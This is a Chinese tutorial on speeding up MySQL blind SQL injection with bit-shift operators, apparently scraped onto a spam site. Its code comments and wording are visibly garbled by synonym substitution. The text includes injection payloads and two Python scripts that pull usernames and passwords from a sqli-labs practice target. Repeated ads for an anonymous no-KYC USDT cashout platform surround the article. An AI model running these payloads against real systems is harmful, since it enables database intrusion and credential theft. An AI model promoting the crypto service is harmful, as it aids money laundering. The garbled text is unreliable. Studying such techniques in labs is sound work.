社会新闻热点

usdt官网(www.caibao.it):关于"高效的SQL盲注-位运算"的二次探讨

来源:申博官方网 发布时间:2021-03-25 浏览次数:

USDT第三方支付API接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

0x00 前言

SQL盲注位运算在工具代码中的运用实例:
https://github.com/xinyu2428/TDOA_RCE/blob/master/src/com/xinyu/poc/SQLInjection.java

本篇文章主要探讨在mysql中SQL盲注若何高效的获得数据, 现在已知的几种方式有:
1.字符遍历, 常使用burp做简朴验证.
2.二分法, 通过判断每一个字符的ascii码的巨细来确认字符, 比前一种方式发更少的包.
3.dnslog带外注入, 另类回显, 获得数据的效率更快, 盲注的最佳选择, 但使用这种方式有个条件, 当前数据库用户权限能够使用load_file()函数.
4.位运算, 发包数目与二分法差不多, 下面会详细先容.
...

0x01 位运算原理

位运算的符号有许多, 我们不需要所有领会, 在这里只先容两个: 位左移<< 与 位右移 >>
位左移: 向左举行移位操作, 高位抛弃, 低位补 0; 左移 1 位相当于乘 2, 左移 n 位相当于乘 2 的 n 次方.
位右移: 将一个运算工具的各二进制位所有右移若干位, 正数左补0, 负数左补1, 右边多余的位数去掉; 右移 1 位相当于除 2, 右移 n 位相当于除 2 的 n 次方.

如上图: 2<<1 = 4; 4>>2 = 1
我们可以直观的看出, 位左移1位效果相当于乘以2; 位右移一位效果相当于除以2.
通过ascii码表我们知道一个字符正常是占8个位的, 其中第一位示意正负, 后七位确定是哪个字符.
我们将其转换成二进制再看下
2 --> 0000 0010 位左移1位变为 0000 0100 (其中红色0是抛弃掉的高位, 绿色0是补上的低位)
4 --> 0000 0100 位右移2为变为 0000 0001 (其中红色0是抛弃掉的高位, 绿色0是补上的低位)
到这里人人应该都明了个也许了
**
下面再看两张图加深明白

r 字符的ascii码为 114, 114 转换成二进制就是 01110010
>>1 意思就是向右位移一位, 01110010 变为 00111001
用电脑盘算器换算下为57

PS: 负数会庞大一些, 然则ascii码没有负数, 以是在这里我们只管这样明白就行

那么问题来了, 这和SQL注入有什么关系呢?

0x02 SQL注入中位运算的应用

首先我们需要知道ascii码表

每一个字符都对应有一个ascii码值, 这里我们只看二进制与十进制

好比现在有一个字符是 s , 我们若何能通过位运算来确定它呢?
说明: 下方**红色示意抛弃的位, 绿色示意补上的位, 粗体黑示意已知的位, 紫色示意待确定位**.
首先 s 的ascii码为115, 二进制值为 01110011, 共有8个位, 它的每一位都是由 0 或 1组成
115>>7 = 0 --> 01110011>>7 = 00000000
一个八位二进制数 >> 7 只有两种效果 00000000 与 00000001 (前7个0都是位运算补上去的)
假设其即是 00000000 , 即可以确认第一位为0, 否则就为1, 只有两种效果, 即每发一个请求一定可以确认一个位
这里确定第一位为0

115>>6=1 --> 01110011>>6=00000001 已知第一位为0, 效果依然两种可能, 00000000 或 00000001 (0 或 1)

延迟1秒说明第二位不即是0, 只能为1, 即 01?? ????

115>>5=3 --> 01110011>>5=00000011 已知前两位为01, 运算效果: 00000010 或 00000011 (2 或 3)

延迟1秒说明第三位不即是0, 只能为1, 即 011? ????

115>>4=7 --> 01110011>>4=00000111 已知前三位为011, 运算效果: 00000110 或 00000111 (6 或 7)

延迟1秒说明第四位不即是0, 只能为1, 即 0111 ????
**

115>>3=14 --> 01110011>>3=00001110 已知前四位为0111, 运算效果: 00001110 或 00001111 (14 或 15)

无延迟说明第五位即是0, 即 0111 0???
**

115>>2=28 --> 01110011>>2=00011100 已知前五位为01110, 运算效果: 00011100 或 00011101 (28 或 29)

无延迟说明第六位即是0, 即 0111 00??
**

115>>1=57 --> 01110011>>1=00111001 已知前六位为011100, 运算效果: 00111000 或 00111001 (56 或 57)

延迟1秒说明第七位不即是0, 只能为1, 即 0111 001?
**

115>>0=115 --> 01110011>>0=01110011 已知前七位为0111001, 运算效果: 01110010 或 01110011 (114 或 115)

延迟1秒说明第八位不即是0, 只能为1, 即 0111 0011

由于每次的运算效果都只有两种可能, 以是每发一个请求我们都能确定一个位, 即8个请求确定一个字符
在现实运用中, ascii码第一位一定是0, 以是无需判断, 可以再少发一个请求.
我们将获得的二进制数(0111 0011)转换成十进制(115)再转换成ascii码对应的字符(s)

此处参考链接: https://xz.aliyun.com/t/3054

0x03 编写剧本

焦点代码部门如下

, -*- coding:utf-8 -*-

import requests


def bitOperation(url):
    result = ""  , 存储获取的查询效果
    url_bak = url
    , 外层循环由查询效果字符的长度控制,内层循环即为牢靠的7次位运算
    for len in range(1, 777):  , 此处长度可控,也可以不做判断直接给一个很长的数字
        str = '0'  , 设置当前字符的ascii码二进制的第一位默以为0
        for i in range(0, 7):
            url = url.format(len, 6 - i, int(str   '0', 2))  , int(str   '0', 2)示意假设其第二位为0,若相等即条件为真,否则为假
            r = requests.get(url)
            , 以页面正常时的标识要害字作为区分,存在是为0,不存在是为1
            if r.text.find("You are in") != -1:
                str  = '0'
            else:
                str  = '1'
            url = url_bak
        , 二进制转换成十进制,也就是ascii码,再将ascii码转换成字符累加到result变量上
        result  = chr(int(str, 2))
        print(result)
        if int(str, 2) == 0:  , 不再作判断长度, 当ascii码为00000000时自动退出(多发7个请求)
            print("已跨越此次查询字符串的长度,自动住手")
            return result
        if int(str, 2) == 127:
            print("查询内容不存在或语法错误...")
            return result
    return result


def main():
    url = "http://127.0.0.1/sqli-labs/Less-5/?id=1' and ascii(substr((select group_concat(concat_ws(0x7e,username,password)) from users),{},1))>>{}={}-- -"
    bitOperation(url)


if __name__ == "__main__":
    main()

运行效果图

,

Usdt第三方支付接口

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

0x04 二次探讨

根据位运算高位补0, 低位抛弃的特征, 我有了如下料想:
若是想要每发送一个数据包就可以判断 8位二进制ascii码 的一位, 就必须保证当前的运算效果只有0000 0000和0000 0001两种可能效果
那么可不能以通过位左移与位右移相互配合, 依次将 一个 8位二进制ascii码 的各个位移动最后一位, 其它位所有用0填充

有了料想就需要验证, 如下为验证说明:

(黄色为本色, 蓝色为弥补位, 删除线符号为抛弃位)
字符 r 的十进制ascii码为 114, 二进制ascii码为 01110010
以 01110010 为测试数据举行运算, 效果如下

由上述测试数据, 我们可以看到
位左移<<依次可以将 8位二进制ascii码 的每一位, 划分顶到每次运算效果的第一位

但现在的效果是杂乱的, 无纪律可循

接着举行位右移>>, 且牢靠平移7位, 此时低位丢7个位, 高位补7个0, 对应的效果就是会把 8位二进制数 的前一位所有顶到最后一位, 又由于前7位均为0, 最后一位只能为0或者1, 以是此时运算效果只有两种可能.
0000 0000 或者 0000 0001

但事实并没有这么顺遂, 如下为代入数据库后真实的运算效果
select ascii('r')<<0>>7 = 0
select ascii('r')<<1>>7 = 1
select ascii('r')<<2>>7 = 3
select ascii('r')<<3>>7 = 7
select ascii('r')<<4>>7 = 14
select ascii('r')<<5>>7 = 28
select ascii('r')<<6>>7 = 57
select ascii('r')<<7>>7 = 114

可以看到, 效果并不是0或者1, 意料之外, 情理之中

查阅的一些文章资料后, 终于找到了盘算效果发生冲突的缘故原由
在MySQL 中, 常量数字默认会以8个字节来示意, 8个字节即为64位
也就是说, 在MySQL数据库中, 每一个 数字并不止8位, 纵然很小, 也是默认占64位的空间 (另有56个看不见的0在前面占着位置)

若是是这样的话, 那么上述位运算的位数, 已经不足已将 8位二进制ascii码 的各个位顶到最后一位

但这个问题并不难明决, 我们只需将上述运算的 位左移<< 依次均增添56位, 如下图

select ascii('r')<<56>>63 = 0
select ascii('r')<<57>>63 = 1
select ascii('r')<<58>>63 = 1
select ascii('r')<<59>>63 = 1
select ascii('r')<<60>>63 = 0
select ascii('r')<<61>>63 = 0
select ascii('r')<<62>>63 = 1
select ascii('r')<<63>>63 = 0

盘算效果为10进制, 但10进制的0和1与二进制的0和1是一样的, 直接拼接为 8位的二进制数: 01110010
转换成10进制为 114, 对应字符 r.

ascii码中第一位均为0, 以是发送7个数据包即可
payload如下:

, MySQL布尔盲注中, 7个数据包判断当前用户名的第一个字符
id=1' and ascii(substr((select user()),1,1))<<57>>63=0-- -
id=1' and ascii(substr((select user()),1,1))<<58>>63=0-- -
id=1' and ascii(substr((select user()),1,1))<<59>>63=0-- -
id=1' and ascii(substr((select user()),1,1))<<60>>63=0-- -
id=1' and ascii(substr((select user()),1,1))<<61>>63=0-- -
id=1' and ascii(substr((select user()),1,1))<<62>>63=0-- -
id=1' and ascii(substr((select user()),1,1))<<63>>63=0-- -

, 判断第二个字符
id=1' and ascii(substr((select user()),2,1))<<57>>63=0-- -
id=1' and ascii(substr((select user()),2,1))<<58>>63=0-- -
id=1' and ascii(substr((select user()),2,1))<<59>>63=0-- -
...

以sqli-labs靶场第5关为例, 焦点代码部门如下:

, -*- coding:utf-8 -*-

import requests


def bitOperation(url):
    result = ""  , 存储获取的查询效果
    url_bak = url
    , 外层循环由查询效果字符的长度控制,内层循环即为牢靠的7次位运算
    for len in range(1, 777):  , 此处长度可控,也可以不做判断直接给一个很长的数字
        str = '0'  , 设置当前字符的ascii码二进制的第一位默以为0
        for bit in range(57, 64):
            url = url.format(len, bit)  , 拼接出payload
            r = requests.get(url)
            , 以页面正常时的标识要害字作为区分,存在是为0,不存在是为1
            if r.text.find("You are in") != -1:
                str  = '0'
            else:
                str  = '1'
            url = url_bak  , 还原url为初识状态
        , 二进制转换成十进制,也就是ascii码,再将ascii码转换成字符累加到result变量上
        result  = chr(int(str, 2))
        print(result)
        if int(str, 2) == 0:  , 不再作判断长度, 当ascii码为00000000时自动退出(多发7个请求)
            print("已跨越此次查询字符串的长度,自动住手")
            return result
        if int(str, 2) == 127:
            print("查询内容不存在或语法错误...")
            return result
    return result


def main():
    url = "http://192.168.238.141/sqli-labs/Less-5/?id=1' and ascii(substr((select group_concat(concat_ws(0x7e,username,password)) from users),{},1))<<{}>>63=0-- -"
    bitOperation(url)


if __name__ == "__main__":
    main()

剧本运行效果

由mysql执行语句监控可以看出每7个请求为一组, 判断一个字符

0x05 总结

在二次探讨中, 请求之间不在相互依赖, 也就是说, 若是某处只能时间盲注, 我们使用 sleep(2) 函数让请求延迟2秒作为判断条件, 那么理论上我们可以使用多线程同时发多个数据包, 然后对每一个请求返回的状态举行处置, 依次拼接即可. 而二分规则必须守候前一次的判断效果被返回才气举行下一次判断.

发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 验证码:点击我更换图片